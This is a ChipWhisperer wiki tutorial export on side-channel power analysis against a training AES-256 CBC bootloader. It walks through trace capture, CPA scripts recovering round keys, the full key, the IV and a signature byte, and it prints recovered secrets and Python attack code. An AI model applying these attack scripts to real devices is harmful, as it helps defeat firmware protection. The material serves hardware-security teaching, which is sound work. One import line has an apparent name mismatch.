380: 98 cf rjmp .-208 ; 0x2b2<br />
<br />
382: 8a 89 ldd r24, Y+18 ; 0x12<br />
384: 8b 3e cpi r24, 0xEB ; 235<br />
386: 09 f0 breq .+2 ; 0x38a<br />
388: 94 cf rjmp .-216 ; 0x2b2<br />
<br />
38a: 8b 89 ldd r24, Y+19 ; 0x13<br />
38c: 82 30 cpi r24, 0x02 ; 2<br />
38e: 09 f0 breq .+2 ; 0x392<br />
390: 90 cf rjmp .-224 ; 0x2b2<br />
<br />
392: 8c 89 ldd r24, Y+20 ; 0x14<br />
394: 8d 31 cpi r24, 0x1D ; 29<br />
396: 09 f0 breq .+2 ; 0x39a<br />
398: 8c cf rjmp .-232 ; 0x2b2<br />
</pre><br />
In C, boolean expressions support ''short-circuiting''. When checking multiple conditions, the program will stop evaluating these booleans as soon as it can tell what the final value will be. In this case, unless all four of the equality checks are true, the result will be false. Thus, as soon as the program finds a single false condition, it's done.<br />
<br />
The assembly code confirms this short-circuiting operation. Each of the four assembly blocks include a comparison (<code>and</code> or <code>cpi</code>), a ''branch if equal'' (<code>brqe</code>), and a relative jump (<code>rjmp</code>). All four of the relative jumps return the program to the same location (the start of the <code>while(1)</code> loop), and all four of the branches try to avoid these relative jumps. If any of the comparisons are false, the relative jumps will return the program back to the start of the loop. All four branches must succeed to get into the body of the <code>if</code> block.<br />
<br />
The short-circuiting conditions are perfect for us. We can use our power traces to watch how long it takes for the signature check to fail. If the check takes longer than usual, then we know that the first byte of our signature was right.<br />
<br />
=== Finding a Single Byte ===<br />
Okay, we know that our power trace will look a lot different for one of our choices of signatures. Let's figure out which one. We'll start by finding the average over all of our 1000 traces:<br />
<br />
<pre><br />
# Find the average over all of the traces<br />
mean = np.average(traces, axis=0)<br />
</pre><br />
<br />
Then, we'll split our traces into 256 different groups (one for each plaintext). Since we know the IV, we can now use it to recover the actual plaintext that the bootloader checks:<br />
<br />
<pre><br />
# Split the traces into groups<br />
groupedTraces = [[] for _ in range(256)]<br />
for i in range(numTraces):<br />
group = dr[i][0] ^ 0xC1<br />
groupedTraces[group].append(traces[i])<br />
</pre><br />
<br />
Next, we can find the mean for each group and see how much they differ from the overall mean:<br />
<br />
<pre><br />
# Find the mean for each group<br />
means = np.zeros([256, traceLen])<br />
for i in range(256):<br />
if len(groupedTraces[i]) > 0:<br />
means[i] = np.average(groupedTraces[i], axis=0)<br />
<br />
plt.plot(means[0] - mean)<br />
plt.plot(means[1] - mean)<br />
plt.plot(means[2] - mean)<br />
plt.plot(means[3] - mean)<br />
plt.grid()<br />
plt.show()<br />
</pre><br />
<br />
The plot that comes out of this should look a bit like:<br />
<br />
[[File:Tutorial-A5-Bonus-Signature.PNG]]<br />
<br />
Wow - looks like we found it! However, let's clean this up with some statistics. We can use the correlation coefficient to see which bytes are the furthest away from the average:<br />
<br />
<pre><br />
corr = []<br />
for i in range(256):<br />
corr.append(np.corrcoef(mean[1500:1700], means[i][1500:1700])[0, 1])<br />
print np.sort(corr)<br />
print np.argsort(corr)<br />
</pre><br />
<br />
This should print something that looks like:<br />
<br />
<pre><br />
[ 0.67663819 0.9834704 0.98855246 0.98942869 0.98994226 0.99019698<br />
0.99082752 0.99159262 0.99166859 0.99169598 0.99216366 0.99229359<br />
0.99239152 0.99240231 0.99246389 0.99254908 0.99258285 0.9926239<br />
0.99280577 0.99302107 0.99339631 0.99394492 0.99396965 0.99403114<br />
0.99408231 0.99410649 0.99424916 0.99460312 0.99464971 0.99468856<br />
0.99483947 0.99512576 0.99553707 0.99570373 0.99572752 0.99577311<br />
0.99582226 0.99587666 0.99590395 0.99623462 0.99630861 0.99639056<br />
0.99644546 0.99646228 0.99653183 0.99661089 0.9966309 0.99665822<br />
0.9966832 0.99670105 0.99673815 0.99679397 0.99690167 0.99692316<br />
0.9969269 0.99694459 0.99703105 0.99704228 0.99705158 0.99708642<br />
0.99709179 0.9971024 0.99710707 0.99711091 0.99711536 0.99715928<br />
0.99720665 0.99721363 0.99721902 0.99722437 0.99722547 0.99723478<br />
0.99724198 0.997244 0.99724712 0.99728416 0.99728622 0.99729196<br />
0.99734564 0.99737952 0.99739401 0.99742793 0.99745246 0.99747648<br />
0.99750044 0.9975651 0.99760837 0.99762965 0.99763106 0.99763222<br />
0.99765327 0.9976662 0.9976953 0.99769761 0.99771007 0.99773553<br />
0.99775314 0.99777414 0.99782335 0.99785114 0.99786062 0.99787688<br />
0.99788584 0.99788938 0.9978924 0.99793722 0.99797874 0.99798273<br />
0.9980249 0.99807047 0.99807947 0.99810194 0.99813208 0.9982722<br />
0.99838807 0.99843216 0.99856034 0.99856295 0.99863064 0.9987529<br />
0.99878124 0.99882028 0.99884917 0.99890103 0.99890116 0.99890879<br />
0.99891135 0.99891317 0.99893291 0.99893508 0.99894488 0.99894848<br />
0.99897892 0.99898304 0.9989834 0.99898804 0.99901833 0.99905207<br />
0.99905642 0.99905798 0.99908281 0.99910538 0.99911272 0.99911782<br />
0.99912193 0.99912223 0.9991229 0.99914415 0.99914732 0.99916885<br />
0.99917188 0.99917941 0.99918178 0.99919009 0.99921141 0.99923463<br />
0.99924823 0.99924986 0.99925438 0.99925524 0.99926407 0.99927205<br />
0.99927364 0.99928305 0.99928533 0.99929447 0.99929925 0.99930205<br />
0.99930243 0.99930623 0.99931579 0.99932861 0.99933414 0.99933806<br />
0.99933992 0.99934213 0.99935681 0.99935721 0.9993594 0.9993601<br />
0.99936267 0.99936373 0.99936482 0.99937458 0.99937665 0.99937706<br />
0.99938049 0.99938241 0.99938251 0.999391 0.99940622 0.9994087<br />
0.99940929 0.9994159 0.99941886 0.99942033 0.99942274 0.99942601<br />
0.9994279 0.99943674 0.99943796 0.99944123 0.99944152 0.99944193<br />
0.99944859 0.9994499 0.99945661 0.9994776 0.99948316 0.99949018<br />
0.9994928 0.99949457 0.99949475 0.99949542 0.99949547 0.99949835<br />
0.99950941 0.99951938 0.99951941 0.99953141 0.9995379 0.99954004<br />
0.99954337 0.99954548 0.99955606 0.9995565 0.99956179 0.99956494<br />
0.99956494 0.99956716 0.99957014 0.99957477 0.99957663 0.99958413<br />
0.99958574 0.99958651 0.99958795 0.99958879 0.99959042 0.99959141<br />
0.99959237 0.99959677 0.99961313 0.99962923 0.99963177 0.9996504<br />
0.99968832 0.99969333 0.99969583 0.99969834 0.99970998 0.99972495<br />
0.99972646 nan nan nan]<br />
[ 0 32 128 255 160 223 8 16 48 96 40 1 95 215 2 33 34 64<br />
4 36 127 207 239 254 253 247 222 251 159 191 221 219 80 129 136 176<br />
168 192 144 56 224 162 130 119 87 72 132 24 126 9 17 111 123 18<br />
112 68 63 125 79 3 66 93 94 49 42 161 237 206 31 35 104 20<br />
98 245 37 238 10 65 52 50 246 231 243 44 41 183 5 6 214 97<br />
190 12 250 220 91 175 199 252 205 249 189 151 235 143 218 157 158 213<br />
203 38 100 211 187 217 155 55 200 226 11 107 138 120 152 23 103 137<br />
81 145 25 30 118 109 110 60 7 184 202 146 117 21 225 177 131 208<br />
77 148 78 193 71 85 140 196 133 47 185 115 15 86 233 169 61 172<br />
194 232 122 186 62 92 102 75 124 212 116 29 150 180 156 57 230 121<br />
90 182 240 167 76 170 165 88 43 229 166 46 147 27 188 163 149 19<br />
198 51 210 53 73 83 142 135 59 114 22 197 241 45 236 227 89 174<br />
82 67 13 244 14 181 228 69 195 58 39 26 242 173 113 74 179 141<br />
106 99 234 105 216 28 139 153 209 201 204 248 54 108 84 171 101 70<br />
154 164 134 178]<br />
</pre><br />
<br />
This output tells us two things:<br />
* The first list says that almost every trace looks very similar to the overall mean (98% correlated or higher). However, there's one trace that is totally different, with 68% correlation. This is probably our correct guess.<br />
* The second list gives the signature guess that matches each of the above correlations. The first number in the list is 0x00, which is the correct signature!<br />
Note that three numbers in this output show a correlation of <code>nan</code> because none of the captured traces had any data on them. However, this doesn't matter to us - we found our byte.<br />
<br />
To finish this attack, you could force the capture software to send more specific text. To find the next byte of the signature, you'd want to fix byte 0 at 0x00 and make byte 1 random. Then, the plaintext should be XORed with the known IV and encrypted with the known AES-256 key. This is left as an exercise for the reader.<br />
<br />
== Appendix A: IV Attack Script ==<br />
This is the author's script to automatically attack the secret IV. If you've completed [[#A 1-Bit Attack]], you can paste this snippet immediately after it:<br />
<br />
<pre><br />
# Attack!<br />
for byte in range(16):<br />
location = 51 + byte * 60<br />
iv = 0<br />
for bit in range(8):<br />
# Check if the decrypted bits are 0 or 1<br />
pt_bits = [((dr[i][byte] >> (7 - bit)) & 0x01) for i in range(numTraces)]<br />
<br />
# Split the traces into two groups<br />
groupedPoints = [[] for _ in range(2)]<br />
for i in range(numTraces):<br />
groupedPoints[pt_bits[i]].append(traces[i][location])<br />
<br />
# Get the means for each bit and subtract them<br />
means = []<br />
for i in range(2):<br />
means.append(np.average(groupedPoints[i]))<br />
diff = means[1] - means[0]<br />
<br />
# Look in point of interest location<br />
iv_bit = 1 if diff > 0 else 0<br />
iv = (iv << 1) | iv_bit<br />
<br />
print iv_bit,<br />
print "%02x" % iv<br />
</pre><br />
<br />
The output from this script is:<br />
<pre><br />
1 1 0 0 0 0 0 1 c1<br />
0 0 1 0 0 1 0 1 25<br />
0 1 1 0 1 0 0 0 68<br />
1 1 0 1 1 1 1 1 df<br />
1 1 1 0 0 1 1 1 e7<br />
1 1 0 1 0 0 1 1 d3<br />
0 0 0 1 1 0 0 1 19<br />
1 1 0 1 1 0 1 0 da<br />
0 0 0 1 0 0 0 0 10<br />
1 1 1 0 0 0 1 0 e2<br />
0 1 0 0 0 0 0 1 41<br />
0 1 1 1 0 0 0 1 71<br />
0 0 1 1 0 0 1 1 33<br />
1 0 1 1 0 0 0 0 b0<br />
1 1 1 0 1 0 1 1 eb<br />
0 0 1 1 1 1 0 0 3c<br />
</pre><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A5_Breaking_AES-256_Bootloader&diff=3497Tutorial A5 Breaking AES-256 Bootloader2018-05-01T18:49:54Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = A5: Breaking AES-256 Bootloader<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
This tutorial will take you through a complete attack on an encrypted bootloader using AES-256. This demonstrates how to using side-channel power analysis on practical systems, along with discussing how to perform analysis with custom scripts.<br />
<br />
Whilst the tutorial assumes you will be performing the entire capture of traces along with the attack, it is possible to download the traces if you don't have the hardware, in which case skip section [[#Setting up the Hardware]] and [[#Capturing the Traces]].<br />
<br />
== Background ==<br />
In the world of microcontrollers, a bootloader is a special piece of firmware that is made to let the user upload new programs into memory. This is especially useful for devices with complex code that may need to be patched or otherwise updated in the future - a bootloader makes it possible for the user to upload a patched version of the firmware onto the micro. The bootloader receives information from a communication line (a USB port, serial port, ethernet port, WiFi connection, etc...) and stores this data into program memory. Once the full firmware has been received, the micro can happily run its updated code.<br />
<br />
There is one big security issue to worry about with bootloaders. A company may want to stop their customers from writing their own firmware and uploading it onto the micro. For example, this might be for protection reasons - hackers might be able to access parts of the device that weren't meant to be accessed. One way of stopping this is to add encryption. The company can add their own secret signature to the firmware code and encrypt it with a secret key. Then, the bootloader can decrypt the incoming firmware and confirm that the incoming firmware is correctly signed. Users will not know the secret key or the signature tied to the firmware, so they won't be able to "fake" their own.<br />
<br />
This tutorial will work with a simple AES-256 bootloader. The victim will receive data through a serial connection, decrypt the command, and confirm that the included signature is correct. Then, it will only save the code into memory if the signature check succeeded. To make this system more robust against attacks, the bootloader will use cipher-block chaining (CBC mode). Our goal is to find the secret key and the CBC initialization vector so that we could successfully fake our own firmware.<br />
<br />
=== Bootloader Communications Protocol ===<br />
The bootloader's communications protocol operates over a serial port at 38400 baud rate. The bootloader is always waiting for new data to be sent in this example; in real life one would typically force the bootloader to enter through a command sequence.<br />
<br />
Commands sent to the bootloader look as follows:<br />
<br />
<pre><br />
|<-------- Encrypted block (16 bytes) ---------->|<br />
| |<br />
+------+------+------+------+------+------+ .... +------+------+------+<br />
| 0x00 | Signature (4 Bytes) | Data (12 Bytes) | CRC-16 |<br />
+------+------+------+------+------+------+ .... +------+------+------+<br />
</pre><br />
<br />
This frame has four parts:<br />
* <code>0x00</code>: 1 byte of fixed header<br />
* Signature: A secret 4 byte constant. The bootloader will confirm that this signature is correct after decrypting the frame.<br />
* Data: 12 bytes of the incoming firmware. This system forces us to send the code 12 bytes at a time; more complete bootloaders may allow longer variable-length frames.<br />
* CRC-16: A 16-bit checksum using the CRC-CCITT polynomial (0x1021). The LSB of the CRC is sent first, followed by the MSB. The bootloader will reply over the serial port, describing whether or not this CRC check was valid.<br />
As described in the diagram, the 16 byte block is not sent as plaintext. Instead, it is encrypted using AES-256 in CBC mode. This encryption method will be described in the next section.<br />
<br />
The bootloader responds to each command with a single byte indicating if the CRC-16 was OK or not:<br />
<br />
<pre><br />
+------+<br />
CRC-OK: | 0xA1 |<br />
+------+<br />
<br />
+------+<br />
CRC Failed: | 0xA4 |<br />
+------+<br />
</pre><br />
<br />
Then, after replying to the command, the bootloader veries that the signature is correct. If it matches the expected manufacturer's signature, the 12 bytes of data will be written to flash memory. Otherwise, the data is discarded.<br />
<br />
=== Details of AES-256 CBC ===<br />
<br />
The system uses the AES algorithm in Cipher Block Chaining (CBC) mode. In general one avoids using encryption 'as-is' (i.e. Electronic Code Book), since it means any piece of plaintext always maps to the same piece of ciphertext. Cipher Block Chaining ensures that if you encrypted the same thing a bunch of times it would always encrypt to a new piece of ciphertext.<br />
<br />
You can see another reference on the design of the encryption side; we'll be only talking about the decryption side here. In this case AES-256 CBC mode is used as follows, where the details of the AES-256 Decryption block will be discussed in detail later:<br />
<br />
[[File:aes256_cbc.png|image]]<br />
<br />
This diagram shows that the output of the decryption is no longer used directly as the plaintext. Instead, the output is XORed with a 16 byte mask, which is usually taken from the previous ciphertext. Also, the first decryption block has no previous ciphertext to use, so a secret initialization vector (IV) is used instead. If we are going to decrypt the entire ciphertext (including block 0) or correctly generate our own ciphertext, we'll need to find this IV along with the AES key.<br />
<br />
<br />
=== Attacking AES-256 ===<br />
The system in this tutorial uses AES-256 encryption, which has a 256 bit (32 byte) key - twice as large as the 16 byte key we've attacked in previous tutorials. This means that our regular AES-128 CPA attacks won't quite work. However, extending these attacks to AES-256 is fairly straightforward: the theory is explained in detail in [[Extending AES-128 Attacks to AES-256]]. <br />
<br />
As the theory page explains, our AES-256 attack will have 4 steps:<br />
# Perform a standard attack (as in AES-128 decryption) to determine the first 16 bytes of the key, corresponding to the 14th round encryption key.<br />
# Using the known 14th round key, calculate the hypothetical outputs of each S-Box from the 13th round using the ciphertext processed by the 14th round, and determine the 16 bytes of the 13th round key manipulated by inverse MixColumns.<br />
# Perform the MixColumns and ShiftRows operation on the hypothetical key determined above, recovering the 13th round key.<br />
# Using the AES-256 key schedule, reverse the 13th and 14th round keys to determine the original AES-256 encryption key.<br />
<br />
== Setting up the Hardware ==<br />
This tutorial uses the [[CW1173 ChipWhisperer-Lite]] hardware. This hardware does not require any special setup - it should be ready to go out-of-the-box.<br />
<br />
Note that you '''don't need hardware''' to complete the tutorial. Instead, you can download [https://www.assembla.com/spaces/chipwhisperer/wiki/Example_Captures example traces from the ChipWhisperer Site]. Just look for the traces titled ''AVR: AES256 Bootloader (ChipWhisperer Tutorial #A5)''.<br />
<br />
=== Building/Programming the Bootloader ===<br />
<br />
{{Warningbox|Are you following this tutorial at a training event? If so ONLY use the provided hex-file with secret key already embedded, do not rebuild the firmware!}}<br />
<br />
<br />
The firmware that implements the bootloader is available inside the ChipWhisperer folder at <code>chipwhisperer\hardware\victims\firmware\bootloader-aes256</code>. If you've uploaded the firmware for any of the other tutorials, the process is identical:<br />
<br />
# Open a command prompt/terminal window and navigate to this folder. Enter the command <code>make PLATFORM=X</code>, where X is the name of your target. For instance, use <code>PLATFORM=CW303</code> on the ChipWhisperer Lite. Ensure that the program is successfully compiled. The output should end with a line like<br />
#: <pre>Built for platform CW-Lite XMEGA</pre><br />
# Open the ChipWhisperer Capture software and connect to your hardware. Open the programmer window (''Tools > CW-Lite XMEGA Programmer''), find the <code>.hex</code> file that you just made, and ''Erase/Program/Verify FLASH''.<br />
<br />
The firmware is now loaded onto your hardware, and you can continue onto the capture process.<br />
<br />
== Capturing the Traces ==<br />
Once the hardware is ready, we can capture some traces for our attack using the ChipWhisperer Capture software. If you somehow got to the 5th ''Advanced Tutorial'' without getting this software ready, you can follow the helpful guide at [[Installing ChipWhisperer]].<br />
<br />
The first thing we need to do is add a new target to the ChipWhisperer system. (None of the existing ones know about the bootloader's data format, nor do they recognize the CRC responses that are sent back to us.) The code for this target is included in [[#Appendix A: Target Code]]. Copy/paste this into a Python file (call it whatever you want) and save it in a place where ChipWhisperer will look for it. There are two folders that you can use:<br />
* Your computer should have a folder called <code>chipwhisperer_projects</code> - if you don't know where this is, the ''File > Preferences'' window will tell you. The system looks in the folder <code>chipwhisperer_projects\chipwhisperer\capture\targets</code> for new targets, so you can save your file here.<br />
* Alternatively, all of the normal targets are stored in <code>chipwhisperer\software\chipwhisperer\capture\targets</code>, so you can also save the file here. Note that this may not be possible if you don't have access to these folders (ex: your account doesn't have admin access).<br />
<br />
Next is the capture script. In some of the previous tutorials, we entered all of the capture settings by hand. Since we are civilized humans armed with technology, we can use a script to do all of this setup for us. A pre-written Python script is provided at [[#Appendix B: Capture Script]]. Take a look at this code and notice what it does:<br />
* it fills in the scope, target, and trace format that we'll use;<br />
* it connects to the hardware; and<br />
* it loads all of the hardware parameters for us. Nice!<br />
Copy this script into a <code>.py</code> file somewhere convenient. Then, perform the following steps to finish the capture:<br />
# Run the capture script, which will open a ChipWhisperer Capture window with everything connected for us.<br />
# Open the terminal (''Tools > Terminal'') and connect to the board. While the terminal is open, press the ''Capture 1'' button. A single byte of data should appear in the terminal. This byte will either be <code>a1</code> (CRC failed) or <code>a4</code> (CRC OK). If you see any other responses, something is wrong. <br />
#: [[File:Tutorial-A5-Capture.PNG|image]]<br />
# Once you're happy with this, open the General Settings tab and set the Number of Traces. You should need around 100 traces to break AES.<br />
# Press the ''Capture Many'' button to record the 100 traces. You'll see the new traces plotted on-screen.<br />
# Once the program is finished capturing the traces, save the project. Put it somewhere memorable and give it a nice name.<br />
<br />
== Finding the Encryption Key ==<br />
Now that we have our traces, we can go ahead and perform the attack. As described in the background theory, we'll have to do two attacks - one to get the 14th round key, and another (using the first result) to get the 13th round key. Then, we'll do some post-processing to finally get the 256 bit encryption key.<br />
<br />
=== 14th Round Key ===<br />
We can attack the 14th round key with a standard, no-frills CPA attack:<br />
<br />
# Open the ChipWhisperer Analyzer program and load the <code>.cwp</code> file with the 13th and 14th round traces. This can be either the <code>aes256_round1413_key0_100.cwp</code> file downloaded or the capture you performed.<br />
# View and manipulate the trace data with the following steps:<br />
## Switch to the ''Trace Output Plot'' tab<br />
## Switch to the ''Results'' parameter setting tab<br />
## Choose the traces to be plotted and press the ''Redraw'' button to draw them<br />
## Right-click on the waveform to change options, or left-click and drag to zoom<br />
## Use the toolbar to quickly reset the zoom back to original<br />
##: [[File:Tutorial-A5-Plot-Traces.PNG|image]]<br />
##: Notice that the traces are synchronized for the first 7000 samples, but become unsynchronized later. This fact will be important later in the tutorial.<br />
# Set up the attack in the ''Attack'' script:<br />
## Make a copy of the ''attack_cpa.py'' script, call it something new (such as ''attack_aesdec14.py'')<br />
## Adjust the model from ''SBox_output'' to ''InvSBox_output''. This is done by finding the following line in the script:<br />
##: <pre>from chipwhisperer.analyzer.attacks.models.AES128_8bit import AES128_8bit, SBox_output</pre><br />
##: and change that line to:<br />
##: <pre>from chipwhisperer.analyzer.attacks.models.AES128_8bit import AES128_8bit, InvBox_output</pre><br />
## and then also change this further down where we set the leakage model:<br />
##: <pre>leak_model = AES128_8bit(InvSBox_output)</pre><br />
## If you're finding the attack very slow, narrow down the attack a bit. Normally, this requires a bit of investigation to determine which ranges of the trace are important. Here, you can use the range from 2900 for 4200. The default settings will also work fine! To do this adjust the following line to look as follows:<br />
##: <pre>attack.setPointRange((2900, 4200))</pre><br />
# Note that we do ''not'' know the secret encryption key, so we cannot highlight the correct key automatically. If you want to fix this, the ''Results'' settings tab has a Highlighted Key setting. Change this to Override mode and enter the key <code>ea 79 79 20 c8 71 44 7d 46 62 5f 51 85 c1 3b cb</code>.<br />
# Finally, run the attack by switching to the ''Results Table'' tab and then hitting the ''Run'' button while your script is selected.<br />
#: [[File:A5_run_script_round14.png|400px]]<br />
There are a few ways to check the results of the attack. First, the results table will show the best guesses for each subkey. With the highlight override enabled, the red bytes should be the best guesses for every single subkey:<br />
<br />
[[File:Tutorial-A5-Results-Right-Key.PNG|image]]<br />
<br />
However, the correct key will still rise to the top even if the wrong bytes are highlighted. The coloring and correlation coefficients in the results table should still make it clear that the top guess is the best one:<br />
<br />
[[File:Tutorial-A5-Results-Wrong-Key.PNG|image]]<br />
<br />
{{warningbox|The default capture stores the WRONG knownkey, so you will have highlighted bytes that are not the correct key. We are looking instead for a large delta between the best-guess and all other guesses. For example for Byte 0 we have the most likely as 0.8141, and 2nd best guess as 0.3551. If our best guess was 0.8141 and 2nd best guess was 0.7981 this would indicate we likely haven't broken the key.}}<br />
<br />
Finally, the ''Output vs Point Plot'' shows the correlation against all of the sample points. The spikes on this plot show exactly where the attack was successful (ie: where the sensitive data was leaked):<br />
<br />
[[File:Aes14round points.png|image]]<br />
<br />
In any case, we've determined that the correct 14th round key is <code>ea 79 79 20 c8 71 44 7d 46 62 5f 51 85 c1 3b cb</code>.<br />
<br />
''NOTE: if you're stuck, a full listing of the attack script is given in [[#Appendix C: AES-256 14th Round Key Script]].''<br />
<br />
=== 13th Round Key ===<br />
Unfortunately, we cannot use the GUI to attack the 13th round key. The system has no built-in model for round 13 of the AES-256 algorithm. Instead, we can write our own script and insert a custom model into the system. See [[#Appendix D: AES-256 13th Round Key Script]] for complete script used here.<br />
<br />
# Open the ChipWhisperer Analyzer software again and reopen the project file (if closed).<br />
# Recall from the 14th round attack that the trace data becomes unsynchronized around sample 7000. This is due to a non-constant AES implementation: the code does not always take the same amount of time to run for every input. (It's actually possible to do a timing attack on this AES implementation! We'll stick with our CPA attack for now.)<br />
#: [[File:syncproblems.png|image]]<br />
# Resynchronize the traces, see the separate 'Preprocessing' tutorial (NB: only in slides right now!)<br />
<br />
{{warningbox|Make sure you get a nice aligned last section of the traces, as in the below figure. You may need to adjust the "input window" or "reference points" slightly. If you do not see the nice alignment the remaining attack will fail!<br />
<br />
[[File:A5_pp_resync_end.png|400px]]}}<br />
<br />
The next step is to program our own leakage model. The following Python code models the Hamming weight model of the 13th round S-box:<br />
<br />
<pre><br />
# Imports for AES256 Attack<br />
from chipwhisperer.analyzer.attacks.models.AES128_8bit import AESLeakageHelper<br />
<br />
class AES256_Round13_Model(AESLeakageHelper):<br />
def leakage(self, pt, ct, guess, bnum):<br />
#You must but YOUR recovered 14th round key here - this example may not be accurate!<br />
calc_round_key = [0xea, 0x79, 0x79, 0x20, 0xc8, 0x71, 0x44, 0x7d, 0x46, 0x62, 0x5f, 0x51, 0x85, 0xc1, 0x3b, 0xcb]<br />
xored = [calc_round_key[i] ^ pt[i] for i in range(0, 16)]<br />
block = xored<br />
block = self.inv_shiftrows(block)<br />
block = self.inv_subbytes(block)<br />
block = self.inv_mixcolumns(block)<br />
block = self.inv_shiftrows(block)<br />
result = block<br />
return self.inv_sbox((result[bnum] ^ guess[bnum]))<br />
</pre><br />
You can look back at the C code of the AES-256 decryption to see how this is implementing the decryption code. Note that because of the Inverse MixColumns operation, we need the entire input ciphertext -- otherwise, we would only need to operate on one byte of the ciphertext.<br />
<br />
The last step is to perform the attack using this model:<br />
# Add the above function to your custom script file.<br />
# Change the <code>setAnalysisAlgorithm</code> in the script to use your custom functions by making the following call:<br />
#:<pre>leak_model = AES128_8bit(AES256_Round13_Model)</pre><br />
# As we did in the 14th round attack, reducing the point range can speed up the attack. For example, to use a smaller range of points, try changing the <code>setPointRange()</code> function call to<br />
#:<pre>self.attack.setPointRange((8000,10990))</pre><br />
# Start the attack! Wait for the attack to complete, and you will determine the 13th round key:<br />
#: [[File:Tutorial-A5-Results-Round-13.PNG|image]]<br />
<br />
Note you can check [[#Appendix C AES-256 13th Round Key Script]] for the complete contents of the attack script.<br />
<br />
Finally, we need to convert this hypothetical key into the actual value of the 13th round key. We can do this by passing the key through ShiftRows and MixColumns to remove the effect of these two functions. This is easy to do in the Python console (assuming we had the recovered key <code>C6 BD 4E 50 AB CA 75 77 79 87 96 CA 1C 7F C5 82</code>, if you recovered a different key replace the <code>knownkey</code> value with yours):<br />
<br />
<pre><br />
>>> from chipwhisperer.analyzer.attacks.models.aes.funcs import shiftrows,mixcolumns<br />
>>> knownkey = [0xC6, 0xBD, 0x4E, 0x50, 0xAB, 0xCA, 0x75, 0x77, 0x79, 0x87, 0x96, 0xCA, 0x1C, 0x7F, 0xC5, 0x82]<br />
>>> key = shiftrows(knownkey)<br />
>>> key = mixcolumns(key)<br />
>>> print &quot; &quot;.join([&quot;%02x&quot; % i for i in key])<br />
c6 6a a6 12 4a ba 4d 04 4a 22 03 54 5b 28 0e 63<br />
</pre><br />
<br />
Our hard work has rewarded us with the 13th round key, which is <code>c6 6a a6 12 4a ba 4d 04 4a 22 03 54 5b 28 0e 63</code>.<br />
<br />
=== Recovering the Encryption Key ===<br />
Finally, we have enough information to recover the initial encryption key. In AES-256, the initial key is used in the key expansion routine to generate 15 round keys, and we know the key for round 13 and 14. All we need to do now is reverse the key scheduling algorithm to calculate the ''0/1 Round Key'' from the ''13/14 Round Key''. <br />
<br />
In the ChipWhisperer Analyzer software, a key schedule calculator is provided in ''Tools > AES Key Schedule'':<br />
<br />
[[File:keyschedule_tool.png|image]]<br />
<br />
Open this tool and paste the 13/14 round keys, which are<br />
<pre><br />
c6 6a a6 12 4a ba 4d 04 4a 22 03 54 5b 28 0e 63 ea 79 79 20 c8 71 44 7d 46 62 5f 51 85 c1 3b cb<br />
</pre><br />
<br />
Tell the tool that this key is the 13/14 round key; it will automatically display the entire key schedule and the initial encryption key. You should find the initial encryption key is:<br />
<pre><br />
94 28 5d 4d 6d cf ec 08 d8 ac dd f6 be 25 a4 99 c4 d9 d0 1e c3 40 7e d7 d5 28 d4 09 e9 f0 88 a1<br />
</pre><br />
<br />
Peek into <code>supersecret.h</code>, confirm that this is the right key, and celebrate!<br />
<br />
== Next Steps ==<br />
If you want to go further with this tutorial, [[Tutorial A5-Bonus Breaking AES-256 Bootloader]] continues working with the same firmware to find the remaining secrets in the bootloader (the IV and the signature).<br />
<br />
== Appendix A: Target Code ==<br />
<pre><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#<br />
# Copyright (c) 2013-2016, NewAE Technology Inc<br />
# All rights reserved.<br />
#<br />
# Authors: Colin O'Flynn, Greg d'Eon<br />
#<br />
# Find this and more at newae.com - this file is part of the chipwhisperer<br />
# project, http://www.assembla.com/spaces/chipwhisperer<br />
#<br />
# This file is part of chipwhisperer.<br />
#<br />
# chipwhisperer is free software: you can redistribute it and/or modify<br />
# it under the terms of the GNU General Public License as published by<br />
# the Free Software Foundation, either version 3 of the License, or<br />
# (at your option) any later version.<br />
#<br />
# chipwhisperer is distributed in the hope that it will be useful,<br />
# but WITHOUT ANY WARRANTY; without even the implied warranty of<br />
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the<br />
# GNU Lesser General Public License for more details.<br />
#<br />
# You should have received a copy of the GNU General Public License<br />
# along with chipwhisperer. If not, see <http://www.gnu.org/licenses/>.<br />
#=================================================<br />
<br />
import sys<br />
import time<br />
import chipwhisperer.capture.ui.CWCaptureGUI as cwc<br />
from chipwhisperer.common.api.CWCoreAPI import CWCoreAPI<br />
from chipwhisperer.capture.targets.SimpleSerial import SimpleSerial<br />
from chipwhisperer.common.scripts.base import UserScriptBase<br />
from chipwhisperer.capture.targets._base import TargetTemplate<br />
from chipwhisperer.common.utils import pluginmanager<br />
from chipwhisperer.capture.targets.simpleserial_readers.cwlite import SimpleSerial_ChipWhispererLite<br />
from chipwhisperer.common.utils.parameter import setupSetParam<br />
<br />
# Class Crc<br />
#############################################################<br />
# These CRC routines are copy-pasted from pycrc, which are:<br />
# Copyright (c) 2006-2013 Thomas Pircher <tehpeh@gmx.net><br />
#<br />
class Crc(object):<br />
"""<br />
A base class for CRC routines.<br />
"""<br />
<br />
def __init__(self, width, poly):<br />
"""The Crc constructor.<br />
<br />
The parameters are as follows:<br />
width<br />
poly<br />
reflect_in<br />
xor_in<br />
reflect_out<br />
xor_out<br />
"""<br />
self.Width = width<br />
self.Poly = poly<br />
<br />
<br />
self.MSB_Mask = 0x1 << (self.Width - 1)<br />
self.Mask = ((self.MSB_Mask - 1) << 1) | 1<br />
<br />
self.XorIn = 0x0000<br />
self.XorOut = 0x0000<br />
<br />
self.DirectInit = self.XorIn<br />
self.NonDirectInit = self.__get_nondirect_init(self.XorIn)<br />
if self.Width < 8:<br />
self.CrcShift = 8 - self.Width<br />
else:<br />
self.CrcShift = 0<br />
<br />
def __get_nondirect_init(self, init):<br />
"""<br />
return the non-direct init if the direct algorithm has been selected.<br />
"""<br />
crc = init<br />
for i in range(self.Width):<br />
bit = crc & 0x01<br />
if bit:<br />
crc ^= self.Poly<br />
crc >>= 1<br />
if bit:<br />
